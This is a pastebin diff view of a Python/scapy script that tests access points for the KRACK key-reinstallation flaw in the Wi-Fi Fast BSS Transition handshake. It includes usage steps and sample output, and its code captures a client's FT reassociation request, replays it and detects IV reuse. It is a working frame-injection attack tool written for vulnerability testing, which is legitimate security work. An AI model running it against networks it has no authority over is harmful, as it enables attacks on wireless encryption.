View difference between Paste ID: VBJ82Z4d and aZyyS16w
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env python2
2
import logging
3
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
4
from scapy.all import *
5
import sys, socket, struct, time, subprocess, atexit, select
6
from datetime import datetime
7
8
IEEE_TLV_TYPE_RSN = 48
9
IEEE_TLV_TYPE_FT  = 55
10
11
IEEE80211_RADIOTAP_RATE = (1 << 2)
12
IEEE80211_RADIOTAP_CHANNEL = (1 << 3)
13
IEEE80211_RADIOTAP_TX_FLAGS = (1 << 15)
14
IEEE80211_RADIOTAP_DATA_RETRIES = (1 << 17)
15
16
USAGE = """{name} - Tool to test Key Reinstallation Attacks against an AP
17
18
To test wheter an AP is vulnerable to a Key Reinstallation Attack against
19
the Fast BSS Transition (FT) handshake, execute the following steps:
20
21
1. Create a wpa_supplicant configuration file that can be used to connect
22
   to the network. A basic example is:
23
24
      ctrl_interface=/var/run/wpa_supplicant
25
      network={{
26
          ssid="testnet"
27
          key_mgmt=FT-PSK
28
          psk="password"
29
      }}
30
31
   Note the use of "FT-PSK". Save it as network.conf or similar. For more
32
   info see https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf
33
34
2. Try to connect to the network using your platform's wpa_supplicant.
35
   This will likely require a command such as:
36
37
      sudo wpa_supplicant -D nl80211 -i wlan0 -c network.conf
38
39
   If this fails, either the AP does not support FT, or you provided the wrong
40
   network configuration options in step 1.
41
42
3. Use this script as a wrapper over the previous wpa_supplicant command:
43
44
      sudo {name} wpa_supplicant -D nl80211 -i wlan0 -c network.conf
45
46
   This will execute the wpa_supplicant command using the provided parameters,
47
   and will add a virtual monitor interface that will perform attack tests.
48
49
4. Use wpa_cli to roam to a different AP of the same network. For example:
50
51
      sudo wpa_cli
52
      > status
53
      bssid=c4:e9:84:db:fb:7b
54
      ssid=testnet
55
      ...
56
      > scan_results 
57
      bssid / frequency / signal level / flags / ssid
58
      c4:e9:84:db:fb:7b	2412  -21  [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
59
      c4:e9:84:1d:a5:bc	2412  -31  [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
60
      ...
61
      > roam c4:e9:84:1d:a5:bc
62
      ...
63
   
64
   In this example we were connected to AP c4:e9:84:db:fb:7b of testnet (see
65
   status command). The scan_results command shows this network also has a
66
   second AP with MAC c4:e9:84:1d:a5:bc. We then roam to this second AP.
67
68
5. Generate traffic between the AP and client. For example:
69
70
      sudo arping -I wlan0 192.168.1.10
71
72
6. Now look at the output of {name} to see if the AP is vulnerable.
73
74
   6a. First it should say "Detected FT reassociation frame". Then it will
75
       start replaying this frame to try the attack.
76
   6b. The script shows which IVs the AP is using when sending data frames.
77
   6c. Message "IV reuse detected (IV=X, seq=Y). AP is vulnerable!" means
78
       we confirmed it's vulnerable.
79
80
   Example output of vulnerable AP:
81
      [15:59:24] Replaying Reassociation Request
82
      [15:59:25] AP transmitted data using IV=1 (seq=0)
83
      [15:59:25] Replaying Reassociation Request
84
      [15:59:26] AP transmitted data using IV=1 (seq=0)
85
      [15:59:26] IV reuse detected (IV=1, seq=0). AP is vulnerable!
86
87
   Example output of patched AP (note that IVs are never reused):
88
      [16:00:49] Replaying Reassociation Request
89
      [16:00:49] AP transmitted data using IV=1 (seq=0)
90
      [16:00:50] AP transmitted data using IV=2 (seq=1)
91
      [16:00:50] Replaying Reassociation Request
92
      [16:00:51] AP transmitted data using IV=3 (seq=2)
93
      [16:00:51] Replaying Reassociation Request
94
      [16:00:52] AP transmitted data using IV=4 (seq=3)
95
"""
96
97
#### Basic output and logging functionality ####
98
99
ALL, DEBUG, INFO, STATUS, WARNING, ERROR = range(6)
100
COLORCODES = { "gray"  : "\033[0;37m",
101
               "green" : "\033[0;32m",
102
               "orange": "\033[0;33m",
103
               "red"   : "\033[0;31m" }
104
105
global_log_level = INFO
106
def log(level, msg, color=None, showtime=True):
107
	if level < global_log_level: return
108
	if level == DEBUG   and color is None: color="gray"
109
	if level == WARNING and color is None: color="orange"
110
	if level == ERROR   and color is None: color="red"
111
	print (datetime.now().strftime('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m"
112
113
114
#### Packet Processing Functions ####
115
116
class MitmSocket(L2Socket):
117
	def __init__(self, **kwargs):
118
		super(MitmSocket, self).__init__(**kwargs)
119
120
	def send(self, p):
121
		# Hack: set the More Data flag so we can detect injected frames
122
		p[Dot11].FCfield |= 0x20
123
		L2Socket.send(self, RadioTap()/p)
124
125
	def _strip_fcs(self, p):
126
		# Scapy can't handle FCS field automatically
127
		if p[RadioTap].present & 2 != 0:
128
			rawframe = str(p[RadioTap])
129
			pos = 8
130
			while ord(rawframe[pos - 1]) & 0x80 != 0: pos += 4
131
		
132
			# If the TSFT field is present, it must be 8-bytes aligned
133
			if p[RadioTap].present & 1 != 0:
134
				pos += (8 - (pos % 8))
135
				pos += 8
136
137
			# Remove FCS if present
138
			if ord(rawframe[pos]) & 0x10 != 0:
139
				return Dot11(str(p[Dot11])[:-4])
140
141
		return p[Dot11]
142
143
	def recv(self, x=MTU):
144
		p = L2Socket.recv(self, x)
145
		if p == None or not Dot11 in p: return None
146
147
		# Hack: ignore frames that we just injected and are echoed back by the kernel
148
		if p[Dot11].FCfield & 0x20 != 0:
149
			return None
150
151
		# Strip the FCS if present, and drop the RadioTap header
152
		return self._strip_fcs(p)
153
154
	def close(self):
155
		super(MitmSocket, self).close()
156
157
def dot11_get_seqnum(p):
158
	return p[Dot11].SC >> 4
159
160
def dot11_get_iv(p):
161
	"""Scapy can't handle Extended IVs, so do this properly ourselves"""
162
	if Dot11WEP not in p:
163
		log(ERROR, "INTERNAL ERROR: Requested IV of plaintext frame")
164
		return 0
165
166
	wep = p[Dot11WEP]
167
	if wep.keyid & 32:
168
		return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (struct.unpack(">I", wep.wepdata[:4])[0] << 16)
169
	else:
170
		return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (ord(wep.iv[2]) << 16)
171
172
def get_tlv_value(p, type):
173
	if not Dot11Elt in p: return None
174
	el = p[Dot11Elt]
175
	while isinstance(el, Dot11Elt):
176
		if el.ID == type:
177
			return el.info
178
		el = el.payload
179
	return None
180
181
182
#### Man-in-the-middle Code ####
183
184
class KRAckAttackFt():
185
	def __init__(self, interface):
186
		self.nic_iface = interface
187
		self.nic_mon = interface + "mon"
188
		self.clientmac = scapy.arch.get_if_hwaddr(interface)
189
190
		self.sock  = None
191
		self.wpasupp = None
192
		self.reassoc = None
193
		self.ivs = set()
194
		self.next_replay = None
195
196
	def handle_rx(self):
197
		p = self.sock.recv()
198
		if p == None: return
199
200
		if p.addr2 == self.clientmac and Dot11ReassoReq in p:
201
			if get_tlv_value(p, IEEE_TLV_TYPE_RSN) and get_tlv_value(p, IEEE_TLV_TYPE_FT):
202
				log(INFO, "Detected FT reassociation frame")
203
				self.reassoc = p
204
				self.next_replay = time.time() + 1
205
			else:
206
				log(INFO, "Reassociation frame does not appear to be an FT one")
207
				self.reassoc = None
208
			self.ivs = set()
209
210
		elif p.addr2 == self.clientmac and Dot11AssoReq in p:
211
			log(INFO, "Detected normal association frame")
212
			self.reassoc = None
213
			self.ivs = set()
214
215
		elif p.addr1 == self.clientmac and Dot11WEP in p:
216
			iv = dot11_get_iv(p)
217
			log(INFO, "AP transmitted data using IV=%d (seq=%d)" % (iv, dot11_get_seqnum(p)))
218
			if iv in self.ivs:
219
				log(INFO, ("IV reuse detected (IV=%d, seq=%d). " +
220
					"AP is vulnerable!.") % (iv, dot11_get_seqnum(p)), color="green")
221
			self.ivs.add(iv)
222
223
	def configure_interfaces(self):
224
		log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
225
226
		# 1. Remove unused virtual interfaces to start from clean state
227
		subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
228
229
		# 2. Configure monitor mode on interfaces
230
		subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
231
		# Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
232
		# sequence of commands to assure the virtual interface is registered as a 802.11 monitor interface.
233
		subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
234
		time.sleep(0.5)
235
		subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
236
		subprocess.check_output(["ifconfig", self.nic_mon, "up"])
237
238
	def run(self):
239
		self.configure_interfaces()
240
241
		# Make sure to use a recent backports driver package so we can indeed
242
		# capture and inject packets in monitor mode.
243
		self.sock = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
244
245
		# Set up a rouge AP that clones the target network (don't use tempfile - it can be useful to manually use the generated config)
246
		self.wpasupp = subprocess.Popen(sys.argv[1:])
247
248
		# Continue attack by monitoring both channels and performing needed actions
249
		while True:
250
			sel = select.select([self.sock], [], [], 1)
251
			if self.sock in sel[0]: self.handle_rx()
252
253
			if self.reassoc and time.time() > self.next_replay:
254
				log(INFO, "Replaying Reassociation Request")
255
				self.sock.send(self.reassoc)
256
				self.next_replay = time.time() + 1
257
258
	def stop(self):
259
		log(STATUS, "Closing hostapd and cleaning up ...")
260
		if self.wpasupp:
261
			self.wpasupp.terminate()
262
			self.wpasupp.wait()
263
		if self.sock: self.sock.close()
264
265
266
def cleanup():
267
	attack.stop()
268
269
def argv_get_interface():
270
	for i in range(len(sys.argv)):
271
		if not sys.argv[i].startswith("-i"):
272
			continue
273
		if len(sys.argv[i]) > 2:
274
			return sys.argv[i][2:]
275
		else:
276
			return sys.argv[i + 1]
277
278
	return None
279
280
if __name__ == "__main__":
281
	if len(sys.argv) <= 1 or "--help" in sys.argv or "-h" in sys.argv:
282
		print USAGE.format(name=sys.argv[0])
283
		quit(1)
284
285
	interface = argv_get_interface()
286
	if not interface:
287
		log(ERROR, "Failed to determine interface. Specify one using -i parameter.")
288
		quit(1)
289
290
	attack = KRAckAttackFt(interface)
291
	atexit.register(cleanup)
292
	attack.run()